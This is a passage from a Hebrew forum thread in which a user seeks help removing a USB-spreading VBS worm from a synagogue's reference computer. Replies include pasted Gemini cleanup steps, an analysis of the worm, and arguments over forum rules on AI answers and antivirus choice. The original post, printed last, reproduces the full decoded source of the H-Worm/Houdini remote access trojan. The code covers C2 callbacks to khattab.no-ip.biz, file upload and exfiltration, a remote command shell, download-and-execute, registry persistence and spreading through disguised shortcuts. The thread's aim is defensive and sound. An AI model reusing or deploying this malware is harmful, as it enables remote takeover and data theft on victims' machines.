                שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                טיפול בכונני ה-USB (הדיסק-און-קי):
                אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                attrib -h -r -s /s /d X:*.*
                (החלף את האות X באות של הכונן שלך).

                זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                אמרת
                כן

                ‫Gemini אמר
                כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                בחר ב-"פנקס רשימות" (Notepad).

                חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                לחץ על אישור.

                התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                קרא לערך החדש בשם: Enabled.

                וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                סגור את הרישום והפעל מחדש את המחשב.

                התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                טיפ קטן לגבאי / אחראי המחשב:
                מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                [!NOTE]
                אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                ה תגובה 1 תגובה אחרונה
                -1
                • א אור אור אור

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                  אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                  הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                  זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                  1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                    בראש הקוד מופיעים המשתנים host ו-port:

                  Host: khattab.no-ipbiz

                  Port: 5550
                  הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                  1. איסוף מידע (Reconnaissance)
                    הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                  שם המחשב ושם המשתמש.

                  מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                  גרסת מערכת ההפעלה.

                  בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                  1. מנגנון הפצה (USB Spreading)
                    אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                  הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                  הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                  ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                  1. יכולות שליטה מרחוק
                    הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                  execute: הרצת קוד VBScript ישירות בזיכרון.

                  send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                  enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                  cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                  update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                  1. הישרדות במערכת (Persistence)
                    הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                  [!CAUTION]
                  שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                  cfopuserC מנותק
                  cfopuserC מנותק
                  cfopuser
                  כתב נערך לאחרונה על ידי cfopuser
                  #27

                  @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  אני מקווה שזה בסדר.

                  זה לא,
                  מהסיבה הפשוטה שלכולם יש גישה לai,
                  אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                  בנוסף זה מנוגד לחוקי הפורום,

                  מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                  ה תגובה 1 תגובה אחרונה
                  3
                  • cfopuserC cfopuser

                    @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    אני מקווה שזה בסדר.

                    זה לא,
                    מהסיבה הפשוטה שלכולם יש גישה לai,
                    אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                    בנוסף זה מנוגד לחוקי הפורום,

                    מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                    ה מנותק
                    ה מנותק
                    הישבשר המלומד
                    כתב נערך לאחרונה על ידי
                    #28
                    פוסט זה נמחק!
                    תגובה 1 תגובה אחרונה
                    0
                    • א מנותק
                      א מנותק
                      אור אור אור
                      כתב נערך לאחרונה על ידי
                      #29

                      חבל מאד שאין לי אפשרות לצ'אט עמו.
                      אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
                      אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
                      אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
                      ובאמת כל אחד כמעט יכול לבדוק בעצמו...

                      תגובה 1 תגובה אחרונה
                      1
                      • A מנותק
                        A מנותק
                        AMDesign
                        כתב נערך לאחרונה על ידי
                        #30

                        @רנדומלי
                        למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                        ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                        ת כ 2 תגובות תגובה אחרונה
                        1
                        • A AMDesign

                          @רנדומלי
                          למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                          ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                          ת מנותק
                          ת מנותק
                          תלמידהון
                          כתב נערך לאחרונה על ידי תלמידהון
                          #31

                          @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                          לפי איזה פרמטר הוא יותר חזק?
                          דיפנדר טוב מאוד וחינמי

                          A תגובה 1 תגובה אחרונה
                          0
                          • ת תלמידהון

                            @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                            לפי איזה פרמטר הוא יותר חזק?
                            דיפנדר טוב מאוד וחינמי

                            A מנותק
                            A מנותק
                            AMDesign
                            כתב נערך לאחרונה על ידי
                            #32

                            @תלמידהון
                            למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                            דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                            מתכנת חובבמ תגובה 1 תגובה אחרונה
                            0
                            • A AMDesign

                              @רנדומלי
                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                              ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                              כ מנותק
                              כ מנותק
                              כככככ
                              כתב נערך לאחרונה על ידי
                              #33

                              @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              רנדומלי
                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                              ואולי אפילו גרסה בתשלום אם זה מתאפשר

                              סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                              cfopuserC תגובה 1 תגובה אחרונה
                              0
                              • כ כככככ

                                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                רנדומלי
                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                cfopuserC מנותק
                                cfopuserC מנותק
                                cfopuser
                                כתב נערך לאחרונה על ידי cfopuser
                                #34

                                @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

                                יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

                                תגובה 1 תגובה אחרונה
                                1
                                • ר רנדומלי

                                  בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                  cmd /c hrxxryydxo.vbs && start explorer [file name]
                                  

                                  הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                  תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                  לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                  z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                  

                                  בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                  לאחר פיענוח הקידוד התקבל הקוד הבא:
                                  אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                  e
                                  '<[ recoder : houdini (c) skype : houdini-fx ]>
                                  
                                  '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  host = "khattab.no-ip.biz"
                                  port = 5550
                                  installdir = "%temp%"
                                  lnkfile = true
                                  lnkfolder = true
                                  
                                  '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  dim shellobj 
                                  set shellobj = wscript.createobject("wscript.shell")
                                  dim filesystemobj
                                  set filesystemobj = createobject("scripting.filesystemobject")
                                  dim httpobj
                                  set httpobj = createobject("msxml2.xmlhttp")
                                  
                                  '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  installname = wscript.scriptname
                                  startup = shellobj.specialfolders ("startup") & "\"
                                  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                  spliter = "<" & "|" & ">"
                                  sleep = 5000 
                                  dim response
                                  dim cmd
                                  dim param
                                  info = ""
                                  usbspreading = ""
                                  startdate = ""
                                  dim oneonce
                                  
                                  '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                  on error resume next
                                  
                                  instance
                                  while true
                                  
                                  install
                                  
                                  response = ""
                                  response = post ("is-ready","")
                                  cmd = split (response,spliter)
                                  select case cmd (0)
                                  case "excecute"
                                        param = cmd (1)
                                        execute param
                                  case "update"
                                        param = cmd (1)
                                        oneonce.close
                                        set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                        oneonce.write param
                                        oneonce.close
                                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                        wscript.quit 
                                  case "uninstall"
                                        uninstall
                                  case "send"
                                        download cmd (1),cmd (2)
                                  case "site-send"
                                        sitedownloader cmd (1),cmd (2)
                                  case "recv"
                                        param = cmd (1)
                                        upload (param)
                                  case  "enum-driver"
                                        post "is-enum-driver",enumdriver  
                                  case  "enum-faf"
                                        param = cmd (1)
                                        post "is-enum-faf",enumfaf (param)
                                  case  "enum-process"
                                        post "is-enum-process",enumprocess   
                                  case  "cmd-shell"
                                        param = cmd (1)
                                        post "is-cmd-shell",cmdshell (param)  
                                  case  "delete"
                                        param = cmd (1)
                                        deletefaf (param) 
                                  case  "exit-process"
                                        param = cmd (1)
                                        exitprocess (param) 
                                  case  "sleep"
                                        param = cmd (1)
                                        sleep = eval (param)        
                                  end select
                                  
                                  wscript.sleep sleep
                                  
                                  wend
                                  
                                  sub install
                                  on error resume next
                                  dim lnkobj
                                  dim filename
                                  dim foldername
                                  dim fileicon
                                  dim foldericon
                                  
                                  upstart
                                  for each drive in filesystemobj.drives
                                  
                                  if  drive.isready = true then
                                  if  drive.freespace  > 0 then
                                  if  drive.drivetype  = 1 then
                                      filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                      if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                      end if
                                      for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                          if not lnkfile then exit for
                                          if  instr (file.name,".") then
                                              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                  file.attributes = 2+4
                                                  if  ucase (file.name) <> ucase (installname) then
                                                      filename = split(file.name,".")
                                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                      lnkobj.windowstyle = 7
                                                      lnkobj.targetpath = "cmd.exe"
                                                      lnkobj.workingdirectory = ""
                                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                      fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                      if  instr (fileicon,",") = 0 then
                                                          lnkobj.iconlocation = file.path
                                                      else 
                                                          lnkobj.iconlocation = fileicon
                                                      end if
                                                      lnkobj.save()
                                                  end if
                                              end if
                                          end if
                                      next
                                      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                          if not lnkfolder then exit for
                                          folder.attributes = 2+4
                                          foldername = folder.name
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                          if  instr (foldericon,",") = 0 then
                                              lnkobj.iconlocation = folder.path
                                          else 
                                              lnkobj.iconlocation = foldericon
                                          end if
                                          lnkobj.save()
                                      next
                                  end If
                                  end If
                                  end if
                                  next
                                  err.clear
                                  end sub
                                  
                                  sub uninstall
                                  on error resume next
                                  dim filename
                                  dim foldername
                                  
                                  shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                  shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                  filesystemobj.deletefile startup & installname ,true
                                  filesystemobj.deletefile wscript.scriptfullname ,true
                                  
                                  for  each drive in filesystemobj.drives
                                  if  drive.isready = true then
                                  if  drive.freespace  > 0 then
                                  if  drive.drivetype  = 1 then
                                      for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                           on error resume next
                                           if  instr (file.name,".") then
                                               if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                   file.attributes = 0
                                                   if  ucase (file.name) <> ucase (installname) then
                                                       filename = split(file.name,".")
                                                       filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                   else
                                                       filesystemobj.deletefile (drive.path & "\" & file.name)
                                                   end If
                                               else
                                                   filesystemobj.deletefile (file.path) 
                                               end if
                                           end if
                                       next
                                       for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                           folder.attributes = 0
                                       next
                                  end if
                                  end if
                                  end if
                                  next
                                  wscript.quit
                                  end sub
                                  
                                  function post (cmd ,param)
                                  
                                  post = param
                                  httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                  httpobj.setrequestheader "user-agent:",information
                                  httpobj.send param
                                  post = httpobj.responsetext
                                  end function
                                  
                                  function information
                                  on error resume next
                                  if  inf = "" then
                                      inf = hwid & spliter 
                                      inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                      inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                  
                                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set os = root.execquery ("select * from win32_operatingsystem")
                                      for each osinfo in os
                                         inf = inf & osinfo.caption & spliter  
                                         exit for
                                      next
                                      inf = inf & "plus" & spliter
                                      inf = inf & security & spliter
                                      inf = inf & usbspreading
                                      information = inf  
                                  else
                                      information = inf
                                  end if
                                  end function
                                  
                                  sub upstart ()
                                  on error resume Next
                                  
                                  shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                  filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                  filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                  
                                  end sub
                                  
                                  function hwid
                                  on error resume next
                                  
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set disks = root.execquery ("select * from win32_logicaldisk")
                                  for each disk in disks
                                      if  disk.volumeserialnumber <> "" then
                                          hwid = disk.volumeserialnumber
                                          exit for
                                      end if
                                  next
                                  end function
                                  
                                  function security 
                                  on error resume next
                                  
                                  security = ""
                                  
                                  set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                  for each objitem in colitems
                                      versionstr = split (objitem.version,".")
                                  next
                                  versionstr = split (colitems.version,".")
                                  osversion = versionstr (0) & "."
                                  for  x = 1 to ubound (versionstr)
                                       osversion = osversion &  versionstr (i)
                                  next
                                  osversion = eval (osversion)
                                  if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                  
                                  set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                  Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                  
                                  for each objantivirus in colantivirus
                                      security  = security  & objantivirus.displayname & " ."
                                  next
                                  if security  = "" then security  = "nan-av"
                                  end function
                                  
                                  function instance
                                  on error resume next
                                  
                                  usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                  if usbspreading = "" then
                                     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                        usbspreading = "true - " & date
                                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                     else
                                        usbspreading = "false - " & date
                                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                  
                                     end if
                                  end If
                                  
                                  
                                  upstart
                                  set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                  set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                  if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                      wscript.quit 
                                  end If
                                  err.clear
                                  set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                  if  err.number > 0 then wscript.quit
                                  end function
                                  
                                  sub sitedownloader (fileurl,filename)
                                  
                                  strlink = fileurl
                                  strsaveto = installdir & filename
                                  set objhttpdownload = createobject("msxml2.xmlhttp" )
                                  objhttpdownload.open "get", strlink, false
                                  objhttpdownload.send
                                  
                                  set objfsodownload = createobject ("scripting.filesystemobject")
                                  if  objfsodownload.fileexists (strsaveto) then
                                      objfsodownload.deletefile (strsaveto)
                                  end if
                                   
                                  if objhttpdownload.status = 200 then
                                     dim  objstreamdownload
                                     set  objstreamdownload = createobject("adodb.stream")
                                     with objstreamdownload
                                          .type = 1 
                                          .open
                                          .write objhttpdownload.responsebody
                                          .savetofile strsaveto
                                          .close
                                     end with
                                     set objstreamdownload = nothing
                                  end if
                                  if objfsodownload.fileexists(strsaveto) then
                                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                  end if 
                                  end sub
                                  
                                  sub download (fileurl,filedir)
                                  
                                  if filedir = "" then 
                                     filedir = installdir
                                  end if
                                  
                                  strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                  set objhttpdownload = createobject("msxml2.xmlhttp")
                                  objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                  objhttpdownload.send ""
                                       
                                  set objfsodownload = createobject ("scripting.filesystemobject")
                                  if  objfsodownload.fileexists (strsaveto) then
                                      objfsodownload.deletefile (strsaveto)
                                  end if
                                  if  objhttpdownload.status = 200 then
                                      dim  objstreamdownload
                                      set  objstreamdownload = createobject("adodb.stream")
                                      with objstreamdownload 
                                           .type = 1 
                                           .open
                                           .write objhttpdownload.responsebody
                                           .savetofile strsaveto
                                           .close
                                      end with
                                      set objstreamdownload  = nothing
                                  end if
                                  if objfsodownload.fileexists(strsaveto) then
                                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                  end if 
                                  end sub
                                  
                                  function upload (fileurl)
                                  
                                  dim  httpobj,objstreamuploade,buffer
                                  set  objstreamuploade = createobject("adodb.stream")
                                  with objstreamuploade 
                                       .type = 1 
                                       .open
                                       .loadfromfile fileurl
                                       buffer = .read
                                       .close
                                  end with
                                  set objstreamdownload = nothing
                                  set httpobj = createobject("msxml2.xmlhttp")
                                  httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                  httpobj.send buffer
                                  end function
                                  
                                  function enumdriver ()
                                  
                                  for  each drive in filesystemobj.drives
                                  if   drive.isready = true then
                                       enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                  end if
                                  next
                                  end Function
                                  
                                  function enumfaf (enumdir)
                                  
                                  enumfaf = enumdir & spliter
                                  for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                       enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                  next
                                  
                                  for  each file in filesystemobj.getfolder (enumdir).files
                                       enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                  
                                  next
                                  end function
                                  
                                  function enumprocess ()
                                  
                                  on error resume next
                                  
                                  set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                  set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                  
                                  dim objitem
                                  for each objitem in colitems
                                      enumprocess = enumprocess & objitem.name & "|"
                                      enumprocess = enumprocess & objitem.processid & "|"
                                      enumprocess = enumprocess & objitem.executablepath & spliter
                                  next
                                  end function
                                  
                                  sub exitprocess (pid)
                                  on error resume next
                                  
                                  shellobj.run "taskkill /F /T /PID " & pid,7,true
                                  end sub
                                  
                                  sub deletefaf (url)
                                  on error resume next
                                  
                                  filesystemobj.deletefile url
                                  filesystemobj.deletefolder url
                                  
                                  end sub
                                  
                                  function cmdshell (cmd)
                                  
                                  dim httpobj,oexec,readallfromany
                                  
                                  set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                  if not oexec.stdout.atendofstream then
                                     readallfromany = oexec.stdout.readall
                                  elseif not oexec.stderr.atendofstream then
                                     readallfromany = oexec.stderr.readall
                                  else 
                                     readallfromany = ""
                                  end if
                                  
                                  cmdshell = readallfromany
                                  end function
                                  
                                  ה מנותק
                                  ה מנותק
                                  היפ הופ
